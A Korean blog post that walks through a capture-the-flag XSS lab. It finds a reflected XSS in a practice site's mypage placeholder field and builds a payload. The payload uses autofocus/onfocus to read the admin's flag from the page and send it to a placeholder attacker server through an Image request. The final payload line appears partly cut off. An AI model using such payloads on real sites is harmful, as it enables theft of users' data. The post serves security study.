Client Script 이용한 XSS 실습 (1)

gyub·2025년 6월 23일
0

모의해킹 스터디

목록 보기
28/31

1️⃣ XSS 취약점 찾기

먼저 문제를 확인하겠습니다

마이페이지XSS 공격 취약점이 있다고 하네요

그럼 마이페이지에 접속해보도록 하겠습니다

아이디가 placeholder 로 입력되는 부분XSS 취약점 가능성이 있어보이니 테스트 해보도록 하겠습니다

파라미터가 그대로 응답(placeholder)에 나오는 것을 보아 Reflected XSS 취약점으로 보입니다

마이페이지에 있는 관리자의 중요 정보인 flag를 탈취하라고 했으니, 관리자로 접속했을 때 Flag Here 부분에 flag가 출력될 듯 합니다

2️⃣ 특수문자 확인

스크립트 삽입을 위해서 주로 필요한 특수문자들을 사용 가능한 지 알아보아야 합니다

주요 특수문자는 < , > , " , ' 입니다

위에서 XSS 취약점을 찾을 때 normaltic429<'"> 를 입력해, <'"> 부분이 HTML Entity로 변환되지 않고 그대로 출력되는 것을 확인했습니다

3️⃣ 특수문자 확인

그럼 이제 Flag Here 부분에 어떻게 접근하면 좋을지 알아보겠습니다

Flag Here가 있는 placeholder 값을 가져와야 하니, input 태그의 name 속성을 이용해 보도록 하겠습니다

input 요소는 document.getElementsByName('info')[0] 로 선택합니다

그 중 placeholder 값이 flag니까 document.getElementsByName('info')[0].placeholder 를 통해 placeholder 값을 가져올 수 있습니다

그렇다면 client 측에서 실행되어야 할 스크립트는 아래와 같습니다

var flag=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src="공격자서버주소/?flag"+flag;

이 스크립트를 XSS 취약점에 끼워넣어야 합니다

<input name = "id" type = "text" placeholder="[스크립트 끼워넣을 부분]"/>

autofocusonfocus Event Handler를 활용해 스크립트를 삽입해 보겠습니다

우선 placeholder 부분이 " 로 닫혀야 뒷부분에 이벤트 핸들러를 작성할 수 있으니, " 로 시작해 placeholder 를 닫아줍니다

마지막 부분에 "/> 가 남아있으니 onfocus="악성스크립트 를 작성해 onfocus="악성스크립트" 형태를 맞춰줍니다

그럼 전달할 user 파라미터는 아래와 같습니다

" autofocus공격자서버주소/?flag"+flag;

이제 서버로 전달된 플래그를 확인만 하면 됩니다

0개의 댓글